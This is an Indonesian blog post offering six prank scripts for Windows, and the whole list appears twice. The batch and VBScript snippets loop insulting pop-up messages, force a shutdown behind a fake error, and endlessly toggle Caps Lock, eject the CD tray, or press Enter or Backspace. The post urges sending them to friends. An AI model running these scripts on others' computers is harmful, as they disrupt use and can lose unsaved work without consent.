- Back to Home »
- Naughty , Problem »
- 6 Script Buat ngisengin temen ^^v
Posted by : Unknown
Kamis
1.message yang nongol melulu
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
save namafile.BAT
ket:
walaupun di kill task manager,masih tetep nongol message nya
kata2 nya bisa diganti sesuai selera masing2...
apalagi yg sedang jatuh cinta...kasih tuh ke gebetan lu...
di kirain cinta gila...
2.bikin shutdown+message
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"
save namafile.BAT
3.Mainin Caps Lock button
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
save namafile.vbs
4.buka tutup CD/DVD
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs
ampir mirip ama punya nya habs :maho
5.bikin vbscript nongol mlulu
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
save namafile.vbs
ket:di task manager full wscript yg lg running
6.teken tombol backspace mlulu
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
save namafile.vbs
Selamat Mencoba ^^
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
save namafile.BAT
ket:
walaupun di kill task manager,masih tetep nongol message nya
kata2 nya bisa diganti sesuai selera masing2...
apalagi yg sedang jatuh cinta...kasih tuh ke gebetan lu...
di kirain cinta gila...
2.bikin shutdown+message
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"
save namafile.BAT
3.Mainin Caps Lock button
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
save namafile.vbs
4.buka tutup CD/DVD
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs
ampir mirip ama punya nya habs :maho
5.bikin vbscript nongol mlulu
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
save namafile.vbs
ket:di task manager full wscript yg lg running
6.teken tombol backspace mlulu
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
save namafile.vbs
Selamat Mencoba ^^
Ditulis Oleh : Unknown ~ Anak Madura Coii !!
Sahabat sedang membaca artikel tentang 6 Script Buat ngisengin temen ^^v. Sahabat diperbolehkan mengcopy paste atau menyebar-luaskan artikel ini, tapi jangan lupa meletakkan link dibawah ini sebagai sumbernya